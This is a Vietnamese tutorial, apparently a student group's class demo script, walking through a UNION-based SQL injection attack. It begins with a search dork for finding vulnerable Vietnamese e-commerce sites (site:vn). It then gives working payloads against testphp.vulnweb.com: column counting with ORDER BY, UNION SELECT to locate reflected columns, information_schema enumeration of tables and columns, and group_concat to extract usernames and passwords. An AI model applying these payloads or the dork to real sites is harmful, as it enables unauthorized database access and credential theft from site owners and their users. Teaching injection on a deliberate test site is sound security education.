B1. Tìm trang web bị lỗi

inurl:"product.php?id=" site:vn

Lệnh này sẽ trả về các kết quả tìm kiếm là các website bán hàng được viết bằng PHP, nhiều khả năng vẫn còn dính lỗi SQL Injection, và các website này có nguồn gốc từ Việt Nam

Truy cập vào Browse categories để nhìn id sản phẩm

Sử dụng ký tự dấu ‘

Nếu không thấy thông báo lỗi này và trang web vẫn load lại bình thường chứng tỏ nó đã miễn nhiễm với SQL Injection, còn nếu giao diện trang web bị lỗi bất thường như sau, chứng tỏ trang web đang bị lỗi SQL Injection

Warning: mysql\_fetch\_array() expects parameter 1 to be resource, boolean given in /hj/var/www/listproducts.php on line 74

Xác định số cột có trong bản hiện tại

Dùng câu lệnh order by để dò từ từ xem có tất cả bao nhiêu cột

<http://testphp.vulnweb.com/listproducts.php?cat=1+order+by+1>

order by 11

Khi nhập vào 12 thì xảy ra lỗi điều này cho ta thấy rằng bảng hiện tải có tất cả là 11 cột

Dùng câu lệnh union select để xác định cột nào bị lỗi

[http://testphp.vulnweb.com/listproducts.php?cat=1](http://testphp.vulnweb.com/listproducts.php?cat=1+order+by+1) union select 1,2,3,4,5,6,7,8,9,10,11

thêm dấu – phía trước id sản phẩm

lúc này chúng ta sẽ thấy các cột bị lỗi như là 2, 7, 9, 11

Xác định tên database (acuart) dùng lệnh database()

* Lúc này tên của database cột 2 sẽ hiện ra

Xác định tất cả các bảng trong database cột 2

union select -1,table\_name,3,4,5,6,7,8,9,10,11 from information\_schema.tables where table\_schema=database()—

để hiện 1 cách ngắn gọn thông tin dùng thêm lệnh group\_concat (table\_name)

Chúng ta sẽ chú ý tới bảng user vì bảng này khả năng cao sẽ chứa các thông tin account quan trọng

Tiếp tục sẽ các định các cột trong bảng user

Đổi

union select -1, group\_concat (column\_name),3,4,5,6,7,8,9,10,11 from information\_schema.columns where table\_schema=database() and table\_name=’users’

Trong bảng users này có 8 cột

Tiếp tục dùng câu lệnh để lấy được thông tin

union select -1, group\_concat (uname,pass),3,4,5,6,7,8,9,10,11 from users

Xin chào cô và các bạn để các bạn có cái nhìn chi tiết và dễ dàng hình dung hơn thì hôm nay nhóm mình sẽ demo cách hacker lợi dụng lỗ hổng SQL injection tấn công 1 website như thế nào